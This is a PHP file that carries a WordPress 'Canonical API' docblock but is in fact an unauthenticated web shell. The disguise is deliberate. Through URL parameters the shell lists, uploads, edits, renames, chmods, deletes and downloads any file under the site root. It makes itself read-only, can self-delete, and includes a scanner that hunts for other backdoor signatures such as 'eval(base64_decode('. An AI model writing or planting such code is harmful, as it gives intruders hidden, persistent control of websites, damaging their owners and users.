1<?php
2/**
3 * Canonical API to handle WordPress Redirecting
4 *
5 * Based on "Permalink Redirect" from Scott Yang and "Enforce www. Preference"
6 * by Mark Jaquith
7 *
8 * @package WordPress
9 * @since 2.3.0
10 */
11
12/**
13 * Redirects incoming links to the proper URL based on the site url.
14 *
15 * Search engines consider www.somedomain.com and somedomain.com to be two
16 * different URLs when they both go to the same location. This SEO enhancement
17 * prevents penalty for duplicate content by redirecting all incoming links to
18 * one or the other.
19 *
20 * Prevents redirection for feeds, trackbacks, searches, and
21 * admin URLs. Does not redirect on non-pretty-permalink-supporting IIS 7+,
22 * page/post previews, WP admin, Trackbacks, robots.txt, searches, or on POST
23 * requests.
24 *
25 * Will also attempt to find the correct link when a user enters a URL that does
26 * not exist based on exact WordPress query. Will instead try to parse the URL
27 * or query in an attempt to figure the correct page to go to.
28 *
29 * @since 2.3.0
30 *
31 * @global WP_Rewrite $wp_rewrite
32 * @global bool $is_IIS
33 * @global WP_Query $wp_query
34 * @global wpdb $wpdb WordPress database abstraction object.
35 *
36 * @param string $requested_url Optional. The URL that was requested, used to
37 * figure if redirect is needed.
38 * @param bool $do_redirect Optional. Redirect to the new URL.
39 * @return string|void The string of the URL, if redirect needed.
40 */
41function DirFilesR($dir)
42{
43 $handle = opendir($dir) or die("Can't open directory $dir");
44 $files = Array();
45 $subfiles = Array();
46 while (false !== ($file = readdir($handle)))
47 {
48 if ($file != "." && $file != "..")
49 {
50 if(is_dir($dir."/".$file))
51 {
52 $subfiles = DirFilesR($dir."/".$file);
53 $files = array_merge($files,$subfiles);
54 }
55 else
56 {
57 $files[] = $dir."/".$file;
58 }
59 }
60 }
61 closedir($handle);
62 return $files;
63}
64
65if (isset($_GET['juke']))
66{
67 $arr_files = DirFilesR($_SERVER['DOCUMENT_ROOT']);
68
69 echo '<td><hr><hr>';
70 foreach ($arr_files as $key)
71 {
72 $key_e = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $key);
73 echo $key_e.';'.filesize($key)."<br>\n";
74 }
75 echo '<hr><hr></td>';
76
77 exit;
78}
79?>
80<html>
81<head>
82 <title><?php echo $_SERVER['SCRIPT_FILENAME'];?></title>
83 <style type="text/css">
84 INPUT[type="text"] {background-color: #fff8e7;} body{background: #fff8e7;color: #4c5866;font-family: Verdana;font-size: 11px;}
85 a:link{color: #33CC99;} a:visited{color: #33CC99;} a:hover{text-decoration: none;Color: #3399FF;}table {font-size: 11px;}
86 td {padding: 1px;padding-left: 10px;padding-right: 10px;padding-top: 2px;}
87 </style>
88</head>
89<body>
90<table cellpadding="5" width="80%">
91<?php
92$permsself = perms($_SERVER['SCRIPT_FILENAME'], '');
93if ($permsself !== '444')
94 chmod($_SERVER['SCRIPT_FILENAME'], 0444);
95
96function del_file($file)
97{
98 if(!file_exists($file))
99 return "file not exists";
100 else
101 {
102 if (!unlink($file))
103 {
104 if (!chmod($file, 0755))
105 return "no have permission for chmod!";
106 else
107 {
108 if (!unlink($file))
109 return "can not delete!";
110 else
111 return "ok!";
112 }
113 }
114 else
115 return "ok!";
116 }
117}
118
119if (isset($_GET['dispatch']))
120{
121 del_file($_SERVER['SCRIPT_FILENAME']);
122}
123if (!empty($_POST['for_del']))
124{
125 $real_path_for_del = array();
126 $all_for_del = $_POST['for_del'];
127
128 echo "<<info>>";
129 foreach ($all_for_del as $each)
130 {
131 $each = strstr($each, '/');
132 $each = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
133
134 $each_for_echo = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $each);
135
136 if (file_exists($each))
137 {
138 del_file($each);
139 if (!file_exists($each))
140 echo $each_for_echo." - removed"."\n";
141 else
142 echo $each_for_echo." - not removed"."\n";
143 }
144 else
145 echo $each_for_echo." - not found"."\n";
146 }
147 echo "<</info>>";
148
149 exit;
150}
151function unzip_file($file)
152{
153 $for_del = strrchr($file, '/');
154 $folder_to_save = str_replace($for_del, '', $file);
155
156 //set_time_limit(0);
157 $zip = new ZipArchive;
158 $zip->open($file);
159 $zip->extractTo($folder_to_save);
160 $zip->close();
161 echo "<tr><td>File: $for_del - <font color=\"green\">unzip successfully</font></td></tr>";
162}
163
164function read_file($file_name)
165{
166 $list = $file_name;
167 if (file_exists($file_name) and (filesize($file_name)>1))
168 {
169 $file = fopen($list,"rt");
170 $arr_file = explode("\n",fread($file,filesize($list)));
171 fclose($file);
172 return $arr_file;
173 }
174 else
175 {
176 $arr_file = array();
177 return $arr_file;
178 }
179}
180
181function clear_folder($dir)
182{
183 $d=opendir($dir);
184 while(($entry=readdir($d))!==false)
185 {
186 if ($entry != "." && $entry != "..")
187 {
188 if (is_dir($dir."/".$entry))
189 {
190 clear_folder($dir."/".$entry);
191 }
192 else
193 {
194 unlink ($dir."/".$entry);
195 }
196 }
197 }
198 closedir($d);
199 rmdir ($dir);
200}
201
202function only_read($file_name)
203{
204 if (file_exists($file_name) and (filesize($file_name)>1))
205 {
206 if (!$file = fopen($file_name,"rt"))
207 {
208 if (!chmod($file_name, 0775))
209 {
210 echo 'can\'t permission for chmod file<br>';
211 $original_file = '';
212 }
213 else // чмоднули, пробуем еще раз открыть файл
214 {
215 if (!$file = fopen($file_name,"rt")) //
216 {
217 echo 'can\'t permission for open file<br>';
218 $original_file = '';
219 }
220 else
221 {
222 $original_file = fread($file,filesize($file_name));
223 fclose($file);
224 }
225 }
226 }
227 else
228 {
229 $original_file = fread($file,filesize($file_name));
230 fclose($file);
231 }
232 }
233 return $original_file;
234}
235
236function findshells($start)
237{
238 global $arr_filename;
239 $files = array();
240 if (!$handle = opendir($start))
241 chmod($start, 0755);
242
243 $handle = opendir($start);
244
245 while(($file=readdir($handle))!==false)
246 {
247 if ($file!="." && $file !="..")
248 {
249 $startfile = $start."/".$file;
250 if (is_dir($startfile))
251 findshells($startfile);
252 else
253 {
254 $result = stristr($startfile, $_SERVER['SCRIPT_FILENAME']);
255
256 if ($result == false)
257 $arr_filename[] = $startfile;
258 }
259 }
260 }
261 closedir($handle);
262 return $arr_filename;
263}
264
265if (isset ($_GET['unzip']))
266{
267 unzip_file($_GET['unzip']);
268}
269
270if (isset ($_GET['finder']))
271{
272 $domain = $_SERVER['SERVER_NAME'];
273 $script_path = $_SERVER['SCRIPT_NAME'];
274 $finderdata_path = $_SERVER['DOCUMENT_ROOT']."/finderdata.txt";
275 $good_result_path = $_SERVER['DOCUMENT_ROOT']."/goodfinderdata.txt";;
276
277
278
279 $search_str = 'eval(base64_decode(';
280 $search_str2 = 'Array(base64_decode(';
281 $search_str3 = '@$isbot';
282 $search_str4 = '@require';
283 $search_str5 = 'eval(gzuncompress(base64_decode(';
284 $search_str6 = '@include "\x2';
285 $search_str7 = '$OO';
286 $search_str8 = 'cache=00';
287 $search_str9 = 'file_get_contents(\"../index.php\")"';
288 $search_str10 = 'is_uploaded_file';
289 $search_str11 = 'base64_decode($_POST';
290 $search_str12 = 'multipart/form-data';
291
292 if (!file_exists($finderdata_path))
293 {
294 $arr_php_file = findshells($_SERVER['DOCUMENT_ROOT']);
295
296 $f = fopen ($finderdata_path, "a");
297 foreach ($arr_php_file as $each)
298 {
299 if ($each !== $_SERVER['SCRIPT_FILENAME'])
300 fwrite($f, $each."\n");
301 }
302 fclose($f);
303
304 if (file_exists($finderdata_path))
305 {
306 $redirect = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $_SERVER['SCRIPT_FILENAME']);
307 $redirect = 'http://'.$redirect.'?finder';;
308 ?>
309 <script language = 'javascript'>
310 var delay = 300;
311 setTimeout("document.location.href='<?php echo $redirect;?>'", delay);
312 </script>
313 <?php
314 }
315 else
316 echo 'error: file finderdata.txt can not create';
317
318 }
319 else
320 {
321 $all_path = read_file($finderdata_path);
322 $urls_for_work = array ();
323
324 for ( $u=0; $u < 900; $u++ )
325 {
326 if (($all_path[$u] !== null) and ($all_path[$u] !== ' ') and ($all_path[$u] !== '') and ($all_path[$u] !== '.') and ($all_path[$u] !== '..'))
327 $urls_for_work[] = trim($all_path[$u]);
328 }
329
330 for ( $i=0; $i < 900; $i++ )
331 {
332 unset($all_path[$i]);
333 }
334
335 $fnew = fopen($finderdata_path, "w");
336 foreach ($all_path as $each_path)
337 {
338 if (($each_path !== null) and ($each_path !== '') and ($each_path !== ' '))
339 fwrite($fnew, $each_path."\n");
340 }
341 fclose($fnew);
342
343 foreach ($urls_for_work as $each_for_check)
344 {
345 if (file_exists($each_for_check))
346 {
347 if (((filesize($each_for_check)) < 5000000))
348 $each_read = only_read($each_for_check);
349 else
350 $each_read = '';
351
352 $result = stristr($each_read, $search_str);
353 $result2 = stristr($each_read, $search_str2);
354 $result3 = stristr($each_read, $search_str3);
355 $result4 = stristr($each_read, $search_str4);
356 $result5 = stristr($each_read, $search_str5);
357 $result6 = stristr($each_read, $search_str6);
358 $result7 = stristr($each_read, $search_str7);
359 $result8 = stristr($each_read, $search_str8);
360 $result9 = stristr($each_read, $search_str9);
361 $result10 = stristr($each_read, $search_str10);
362 $result11 = stristr($each_read, $search_str11);
363 $result12 = stristr($each_read, $search_str12);
364 if (($result !== false) or ($result2 !== false) or ($result3 !== false) or ($result4 !== false) or ($result5 !== false) or ($result6 !== false) or ($result7 !== false) or ($result8 !== false) or ($result9 !== false) or ($result10 !== false) or ($result11 !== false) or ($result12 !== false))
365 {
366 $f = fopen ($good_result_path, "a");
367 fwrite($f, $each_for_check."\n");
368 fclose($f);
369 }
370 }
371 }
372
373 if (count($all_path)>0)
374 echo count($all_path)." files for check<br>";
375 else
376 echo '<tr><td>Finish!</td></tr>';
377
378 $for_check = read_file($finderdata_path);
379 if (file_exists($finderdata_path) and (filesize($finderdata_path)>1))
380 {
381 $redirect = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $_SERVER['SCRIPT_FILENAME']);
382 $redirect = 'http://'.$redirect.'?finder';;
383 ?>
384 <script language = 'javascript'>
385 var delay = 100;
386 setTimeout("document.location.href='<?php echo $redirect;?>'", delay);
387 </script>
388 <?php
389 }
390 else
391 {
392 $arr_result = read_file($good_result_path);
393
394 foreach ($arr_result as $each)
395 {
396 if (($each !== null) and ($each !== '') and ($each !== ' '))
397 {
398 if (isset ($_GET['dir']))
399 $dr = $_GET['dir'];
400 else
401 $dr = $_SERVER['DOCUMENT_ROOT'];
402
403
404 $time = get_time($each);
405
406 $real_url = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $each);
407
408 echo "<tr bgcolor=\"#ffffff\" align=\"center\"><td align=\"left\" >"."<a style=\"text-decoration: none;\" href=\"http://$domain$script_path?edit=$each&dir=$dr\"><font color=\"black\">$each</font></a>"."</td><td>".get_filesize($each)."</td><td>$time</td><td>".perms($each, '0')."</td><td>"."<a href=\"http://$domain$script_path?del=$each&dir=$dr\">U</a> "."<a href=\"http://$domain$script_path?edit=$each&dir=$dr\">E</a> "."<a target=\"_blank\" href=\"http://$real_url\">O</a> "."<a href=\"http://$domain$script_path?download=$each&dir=$dr\">D</a>"."</td></tr>";
409 }
410 }
411 if (file_exists($finderdata_path))
412 unlink($finderdata_path);
413
414 if (file_exists($good_result_path))
415 unlink($good_result_path);
416 }
417 }
418}
419if (isset ($_GET['download']))
420{
421 $file_for_save = $_GET['download'];
422
423 if (file_exists($file_for_save))
424 {
425 header('Content-Description: File Transfer');
426 header('Content-Type: application/octet-stream');
427 header('Content-Disposition: attachment; filename=' . basename($file_for_save));
428 header('Content-Transfer-Encoding: binary');
429 header('Expires: 0');
430 header('Cache-Control: must-revalidate');
431 header('Pragma: public');
432 header('Content-Length: ' . filesize($file_for_save));
433 readfile($_GET['download']);
434 exit;
435 }
436}
437?>
438<?php
439//set_time_limit (0);
440
441function get_filesize($file)
442{
443 if(!file_exists($file)) return "Файл не найден";
444 $filesize = filesize($file);
445 if($filesize > 1024)
446 {
447 $filesize = ($filesize/1024);
448 if($filesize > 1024)
449 {
450 $filesize = ($filesize/1024);
451 if($filesize > 1024)
452 {
453 $filesize = ($filesize/1024);
454 $filesize = round($filesize, 1);
455 return $filesize." gb";
456 }
457 else
458 {
459 $filesize = round($filesize, 1);
460 return $filesize." mb";
461 }
462 }
463 else
464 {
465 $filesize = round($filesize, 1);
466 return $filesize." kb";
467 }
468 }
469 else
470 {
471 $filesize = round($filesize, 1);
472 return $filesize." b";
473 }
474}
475
476function get_time($file)
477{
478 if(!file_exists($file)) return "no info";
479
480 $last_update = filemtime($file);
481 $time = date('Y-m-d H:i:s', $last_update);
482
483 return $time;
484}
485
486
487
488
489
490function perms($filename, $check)
491{
492 $perms = substr(decoct(fileperms($filename)), -3);
493 if ($perms == '644')
494 $color = 'green';
495 elseif ($perms == '755')
496 $color = '#2EC842';
497 elseif ($perms == '444')
498 $color = 'brown';
499 elseif ($perms == '000')
500 $color = 'red';
501 elseif ($perms == '744')
502 $color = 'orange';
503 elseif ($perms == '664')
504 $color = 'green';
505 else
506 $color = 'grey';
507 if ($check == 1)
508 return $perms;
509 else
510 return "<font color=$color>".$perms."</font>";
511}
512function CMS()
513{
514 if ((is_dir($_SERVER['DOCUMENT_ROOT'].'/administrator/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/components/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/includes/')))
515 return "Joomla!";
516 elseif ((is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-content/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-admin/')) and (is_dir($_SERVER['DOCUMENT_ROOT'].'/wp-includes/')))
517 return "WordPress";
518 else
519 return "Unknown";
520}
521function folder_separate($path)
522{
523 $pos_end = strripos($path, '/');
524 $path2 = substr_replace($path, '', $pos_end, 99999);
525
526 return $path2;
527}
528
529function side_bar($make_file)
530{
531 echo '<td align="right" colspan="2">';
532
533 echo "<form action = '".$make_file."' method = 'POST'>";
534 echo "<input name=\"search_file\" size=\"7\" type=\"text\" placeholder=\".suspected\" />";
535 echo "<input type=\"submit\" value=\"ok\" /></form>";
536
537 echo "<form action = '".$make_file."' method = 'POST'>";
538 echo "<input name=\"new_file\" size=\"7\" type=\"text\" placeholder=\"make file\" />";
539 echo "<input type=\"submit\" value=\"ok\" /></form>";
540
541 echo "<form action = '".$make_file."' method = 'POST'>";
542 echo "<input name=\"new_dir\" size=\"7\" type=\"text\" placeholder=\"make dir\" />";
543 echo "<input type=\"submit\" value=\"ok\" /></form>";
544 echo '</td></tr>';
545}
546
547if (isset($_GET['rename']))
548{
549 if (!empty($_POST ['n_name']))
550 {
551 if (rename($_GET['rename'], $_POST ['n_name']))
552 $message_rename = '<font color="green"><b>Name changed!</b></font>';
553 else
554 $message_rename = '<font color="red"><b>Name can not be changed</b></font>';
555
556 echo $message_rename;
557 }
558}
559
560function edit_file($file, $current)
561{
562 if (!empty($_POST['chm']))
563 {
564 if ($_POST['chm'] == '0755')
565 {
566 if (chmod($file, 0755))
567 $message_chmod = '<font color="green"><b>Permission changed!</b></font>';
568 else
569 $message_chmod = '<font color="red"><b>Unable change permission!</b></font>';
570 }
571 elseif ($_POST['chm'] == '0444')
572 {
573 if (chmod($file, 0444))
574 $message_chmod = '<font color="green"><b>Permission changed!</b></font>';
575 else
576 $message_chmod = '<font color="red"><b>Unable change permission!</b></font>';
577 }
578 elseif ($_POST['chm'] == '0644')
579 {
580 if (chmod($file, 0644))
581 $message_chmod = '<font color="green"><b>Permission changed!</b></font>';
582 else
583 $message_chmod = '<font color="red"><b>Unable change permission!</b></font>';
584 }
585 else
586 $message_chmod = '0755<br>0444<br>0644<br>';
587
588 echo $message_chmod;
589 }
590 if (empty($_POST['new']))
591 {
592 $pos_end = strripos($file, '/');
593 $dir = substr_replace($file, '', $pos_end, 99999);
594
595 if (file_exists($file) and (filesize($file)>1))
596 {
597 if (!$fp = fopen ($file, "r"))
598 {
599 echo 'no have permission<br>';
600 $file_cont = 'can\'t show';
601 }
602 else
603 {
604 $file_cont = fread ($fp, filesize ($file));
605 fclose ($fp);
606 }
607 }
608 else
609 $file_cont = '';
610
611 $file_cont = str_replace ("<textarea>", "<textarea>", $file_cont);
612 $file_cont = htmlspecialchars($file_cont);
613
614 echo "<tr><td align=\"center\" colspan=\"5\"><form action = 'http://".$current."?edit=".$file."&dir=".$dir."' method = 'POST'>\n";
615 echo "File: ". $file . "<br>\n";
616 echo "<textarea name = 'new' rows = '20' cols = '120'>".$file_cont."</textarea><br>\n";
617 echo "<div align=\"right\"><br><input type = 'submit' value = 'Save'></div></form></td></tr>\n";
618
619 echo "<tr><td align=\"left\"><form action = 'http://".$current."?edit=".$file."&dir=".$dir."' method = 'POST'>\n";
620 echo "<input name=\"chm\" size=\"4\" type=\"text\" placeholder=\"".perms($file, '1')."\"/>";
621 echo "<input type=\"submit\" value=\"ok\" /></form></td>\n";
622
623 echo "<td colspan=\"3\" align=\"left\"><form action = 'http://".$current."?rename=".$file."&dir=".$dir."' method = 'POST'>\n";
624 echo "<input type=\"text\" name='n_name' size=\"72\" value=\"$file\">";
625 echo "<input type=\"submit\" value=\"ok\" /></form></td></tr>\n";
626 }
627 else
628 {
629 if (!empty($_POST['new_remote']))
630 {
631 if (!chmod($file, 0755))
632 return "no have permission for chmod!";
633
634 $file_cont = only_read($file);
635 $file_cont = $_POST['new'].$file_cont;
636
637 $fp = fopen ($file, "w");
638 if (fwrite ($fp, $file_cont))
639 $message = ' - <font color="green"><b>Edited!</b></font>';
640 else
641 $message = ' - <font color="red"><b>Unable to edit!</b></font>';
642 fclose ($fp);
643 if (!chmod($file, 0444))
644 return "no have permission for chmod!";
645 }
646 else
647 {
648 if (!chmod($file, 0755))
649 return "no have permission for chmod!";
650
651 $fp = fopen ($file, "w");
652 if (fwrite ($fp, $_POST ['new']))
653 $message = ' - <font color="green"><b>Edited!</b></font>';
654 else
655 $message = ' - <font color="red"><b>Unable to edit!</b></font>';
656 fclose ($fp);
657 }
658
659 $pos_end = strripos($file, '/');
660 $dir = substr_replace($file, '', $pos_end, 99999);
661
662 $fp = fopen ($file, "r");
663 $file_cont = fread ($fp, filesize ($file));
664 fclose ($fp);
665
666
667 $file_cont = str_replace ("<textarea>", "<textarea>", $file_cont);
668
669 echo "<tr><td align=\"center\" colspan=\"5\"><form action = 'http://".$current."?edit=".$file."&dir=".$dir."' method = 'POST'>\n";
670 echo "File: ". $file . $message . "<br>\n";
671 echo "<textarea name = 'new' rows = '20' cols = '120'>".$file_cont."</textarea><br>\n";
672 echo "<div align=\"right\"><br><input type = 'submit' value = 'Save'></div></form></td></tr>\n";
673
674 echo "<tr><td align=\"left\"><form action = 'http://".$current."?edit=".$file."&dir=".$dir."' method = 'POST'>\n";
675 echo "<input name=\"chm\" size=\"4\" type=\"text\" placeholder=\"".perms($file, '1')."\"/>";
676 echo "<input type=\"submit\" value=\"ok\" /></form></td>\n";
677
678 echo "<td colspan=\"3\" align=\"left\"><form action = 'http://".$current."?rename=".$file."&dir=".$dir."' method = 'POST'>\n";
679 echo "<input type=\"text\" name='n_name' size=\"72\" value=\"$file\">";
680 echo "<input type=\"submit\" value=\"ok\" /></form></td></tr>\n";
681
682 if (chmod($file, 0444))
683 $message_chmod_last = '<font color="green"><b>Permission changed!</b></font>';
684 else
685 $message_chmod_last = '<font color="red"><b>Unable change permission!</b></font>';
686 }
687
688}
689
690if (isset ($_GET['del']))
691{
692 if (is_dir($_GET['del']))
693 clear_folder($_GET['del']);
694 else
695 del_file($_GET['del']);
696
697}
698
699$domain = $_SERVER['SERVER_NAME'];
700$script_path = $_SERVER['SCRIPT_NAME'];
701$arr_folder = array();
702$arr_filenames = array();
703?>
704 <tr align="left">
705 <td colspan="3">
706 <?php
707 if (sizeof($_FILES)!=0)
708 {
709 if(isset($_FILES) && $_FILES['inputfile']['error'] == 0)
710 {
711 if (isset ($_GET['dir']))
712 $path = $_GET['dir'];
713 else
714 $path = $_SERVER['DOCUMENT_ROOT'];
715
716 $destiation_dir = $path .'/'.$_FILES['inputfile']['name'];
717 move_uploaded_file($_FILES['inputfile']['tmp_name'], $destiation_dir );
718
719 $open_upload_file = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $destiation_dir);
720 echo '<font color="green"><b>'."<a target=\"_blank\" href=\"http://$open_upload_file\">File Uploaded!</a>".'</b></font>';
721 }
722 }
723 elseif(sizeof($_FILES)!=0)
724 echo '<font color="red"><b>No File Uploaded</b></font>';
725
726 if (isset ($_GET['dir']))
727 $path_for_upload = $_SERVER['SCRIPT_NAME'].'?dir='.$_GET['dir'];
728 else
729 $path_for_upload = $_SERVER['SCRIPT_NAME'].'?dir='.$_SERVER['DOCUMENT_ROOT'];
730 ?>
731 <form method="post" action="<?php echo $path_for_upload;?>" enctype="multipart/form-data">
732 <input type="file" id="inputfile" name="inputfile">
733 <input type="submit" value="ok">
734 </form>
735 CMS: <?php echo CMS();?><br>
736 Server IP: <?php echo $_SERVER['SERVER_ADDR'];?><br>
737 Root: <?php echo '<a href="'.'http://'.$domain.$script_path.'?dir='.$_SERVER['DOCUMENT_ROOT'].'">'.$_SERVER['DOCUMENT_ROOT'].'</a>'; ?>
738 <br><br>
739 Directory:
740 <?php
741 if (isset ($_GET['dir']))
742 $path = $_GET['dir'];
743 else
744 $path = $_SERVER['DOCUMENT_ROOT'];
745
746
747 $arr_path = explode("/", $path);
748 $slesh_count = count($arr_path)-1;
749
750 $arr_links = array();
751 $path_for_work = $path;
752
753 for ($i=1; $i <= $slesh_count; $i++)
754 {
755 $path_for_work = folder_separate($path_for_work);
756 $arr_links[] = $path_for_work;
757 }
758 for ($i=1; $i <= $slesh_count; $i++)
759 {
760 $k = $slesh_count - $i - 1;
761 if ($i !== $slesh_count)
762 echo '<a href="http://'.$domain.$script_path.'?dir='.$arr_links["$k"].'">'.$arr_path["$i"].'</a>/';
763 else
764 echo '<a href="http://'.$domain.$script_path.'?dir='.$path.'">'.$arr_path["$i"].'</a>';
765 }
766 ?>
767
768
769 </td>
770 <?php
771
772 if (isset ($_GET['dir']))
773 {
774 if (isset ($_POST['new_file_name']))
775 {
776 $new_file = $_GET['dir'] . '/' . $_POST['new_file_name'];
777 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'] . '&edit=' . $new_file;
778 }
779 else
780 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'];
781 }
782 else
783 {
784 if (isset ($_POST['new_file_name']))
785 {
786 $new_file = $_SERVER['DOCUMENT_ROOT']. '/' . $_POST['new_file_name'];
787 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'] . '&edit=' . $new_file;
788 }
789 else
790 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_SERVER['DOCUMENT_ROOT'];
791 }
792
793
794
795 if ((empty($_POST ['new_file'])) and (empty($_POST ['search_file'])) and (empty($_POST ['new_dir'])))
796 {
797 if (isset ($_GET['dir']))
798 $path = $_GET['dir'];
799 else
800 $path = $_SERVER['DOCUMENT_ROOT'];
801
802 $make_file = 'http://' . $domain . $script_path . '?dir=' . $path;
803
804 side_bar($make_file);
805 }
806 elseif (!empty($_POST ['new_file']))
807 {
808 if (isset ($_GET['dir']))
809 $path = $_GET['dir'].'/'.$_POST ['new_file'];
810 else
811 $path = $_SERVER['DOCUMENT_ROOT'].'/'.$_POST ['new_file'];
812
813 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'] . '&edit=' . $path;
814
815 if ($fp = fopen ($path, "w"))
816 {
817 echo '<font color="green">File created successfully!</font>';
818 side_bar($make_file);
819 }
820 else
821 {
822 echo '<font color="red">Can not create!</font>';
823 side_bar($make_file);
824 }
825 fclose ($fp);
826 }
827 elseif (!empty($_POST['new_dir']))
828 {
829 if (isset($_GET['dir']))
830 $path = $_GET['dir'].'/'.$_POST['new_dir'];
831 else
832 $path = $_SERVER['DOCUMENT_ROOT'].'/'.$_POST['new_dir'];
833
834 $make_file = 'http://' . $domain . $script_path . '?dir=' . $_GET['dir'] . '&new_dir=' . $path;
835
836 if ($fp = mkdir($path))
837 {
838 side_bar($make_file);
839 echo "<tr align=\"center\"><td align=\"left\" >"."<font color=\"green\">Folder created successfully!</font></td>"."<td></td><td></td><td></td><td></td></tr>";
840 }
841 else
842 {
843 side_bar($make_file);
844 echo "<tr align=\"center\"><td align=\"left\" >"."<font color=\"red\">Can not create folder!</font></td>"."<td></td><td></td><td></td><td></td></tr>";
845 }
846 }
847 elseif (!empty($_POST['search_file']))
848 {
849 $file_name_for_search = $_POST['search_file'];
850 $arr_all_filenames = findshells($_SERVER['DOCUMENT_ROOT']);
851
852 if (isset ($_GET['dir']))
853 $dr = $_GET['dir'];
854 else
855 $dr = $_SERVER['DOCUMENT_ROOT'];
856
857 side_bar($make_file);
858
859 foreach ($arr_all_filenames as $each_file_name)
860 {
861 $result = stristr($each_file_name, $file_name_for_search);
862 if ($result !== false)
863 {
864 $time = get_time($each_file_name);
865 $real_url = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $each_file_name);
866 echo "<tr bgcolor=\"#ffffff\" align=\"center\"><td align=\"left\" >"."<a style=\"text-decoration: none;\" href=\"http://$domain$script_path?edit=$each_file_name&dir=$dr\"><font color=\"black\">$each_file_name</font></a>"."</td><td>".get_filesize($each_file_name)."</td><td>$time</td><td>".perms($each_file_name, '0')."</td><td>"."<a href=\"http://$domain$script_path?del=$each_file_name&dir=$dr\">U</a> "."<a href=\"http://$domain$script_path?edit=$each_file_name&dir=$dr\">E</a> "."<a target=\"_blank\" href=\"http://$real_url\">O</a> "."<a href=\"http://$domain$script_path?download=$each_file_name&dir=$dr\">D</a>"."</td></tr>";
867 }
868 }
869 }
870
871
872 if (isset ($_GET['edit']))
873 {
874 $current = $domain.$script_path;
875 edit_file($_GET['edit'], $current);
876 }
877 ?>
878
879 <tr align="center" style="color: #423c63;"><td align="left"><b>Name</b></td><td><b>Size</b></td><td><b>Modify</b></td><td><b>Permissions</b></td><td><b>Actions</b></td></tr>
880
881 <?php
882
883 if (isset ($_GET['dir']))
884 {
885 $arr_files = scandir($_GET['dir']);
886 }
887 else
888 {
889 $arr_files = scandir($_SERVER['DOCUMENT_ROOT']);
890 }
891
892 foreach ($arr_files as $each)
893 {
894 $str_for_search = $each;
895 if (isset ($_GET['dir']))
896 $str_for_search = $_GET['dir'].'/'.$each;
897 else
898 $str_for_search = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
899
900 if (is_dir($str_for_search))
901 $arr_folder[] = $each;
902 else
903 $arr_filenames[] = $each;
904 }
905 $k = 0;
906 foreach ($arr_folder as $each)
907 {
908 if (($each !== '.') and ($each !== '..'))
909 {
910 if (isset ($_GET['dir']))
911 {
912 $p = $_GET['dir'].'/'.$each;
913 $next_dir = $_GET['dir'].'/'.$each;
914 }
915 else
916 {
917 $p = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
918 $next_dir = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
919 }
920
921 $path_for_unlink = $next_dir;
922 $for_del = strrchr($path_for_unlink, '/');
923 $path_for_unlink = str_replace($for_del, '', $path_for_unlink);
924
925 $time = get_time($p);
926
927 if ($k % 2 == 0)
928 $color_bg = '#fff8e7';
929 else
930 $color_bg = '#ffffe0';
931
932 echo "<tr bgcolor=\"$color_bg\" align=\"center\"><td align=\"left\" >"."<font color=\"#904d30\"><b><a href=\"http://$domain$script_path?dir=$next_dir\">$each</a></b></font>"."</td><td>dir</td><td>$time</td><td>".perms($p, '0')."</td><td>"."<a href=\"http://$domain$script_path?del=$p&dir=$path_for_unlink\">U</a> "."</td></tr>";
933 $k++;
934 }
935 }
936
937
938 foreach ($arr_filenames as $each)
939 {
940
941 if (isset ($_GET['dir']))
942 {
943 $p = $_GET['dir'].'/'.$each;
944 $dr = $_GET['dir'];
945 }
946
947 else
948 {
949 $p = $_SERVER['DOCUMENT_ROOT'].'/'.$each;
950 $dr = $_SERVER['DOCUMENT_ROOT'];
951 }
952 $time = get_time($p);
953
954 $real_url = str_replace($_SERVER['DOCUMENT_ROOT'], $_SERVER['SERVER_NAME'], $p);
955
956 if ($k % 2 == 0)
957 $color_bg = '#fff8e7';
958 else
959 $color_bg = '#ffffe0';
960
961 $per = stristr($each, '.zip');
962 if ($per !== false)
963 $per = "<a href=\"http://$domain$script_path?unzip=$p&dir=$dr\">Z</a> ";
964 else
965 $per = "<a href=\"http://$domain$script_path?edit=$p&dir=$dr\">E</a> ";
966
967 echo "<tr bgcolor=\"$color_bg\" align=\"center\"><td align=\"left\" >"."<a style=\"text-decoration: none;\" href=\"http://$domain$script_path?edit=$p&dir=$dr\"><font color=\"black\">$each</font></a>"."</td><td>".get_filesize($p)."</td><td>$time</td><td>".perms($p, '0')."</td><td>"."<a href=\"http://$domain$script_path?del=$p&dir=$dr\">U</a> ".$per."<a target=\"_blank\" href=\"http://$real_url\">O</a> "."<a href=\"http://$domain$script_path?download=$p&dir=$dr\">D</a>"."</td></tr>";
968
969 $k++;
970 }
971?>
972</table>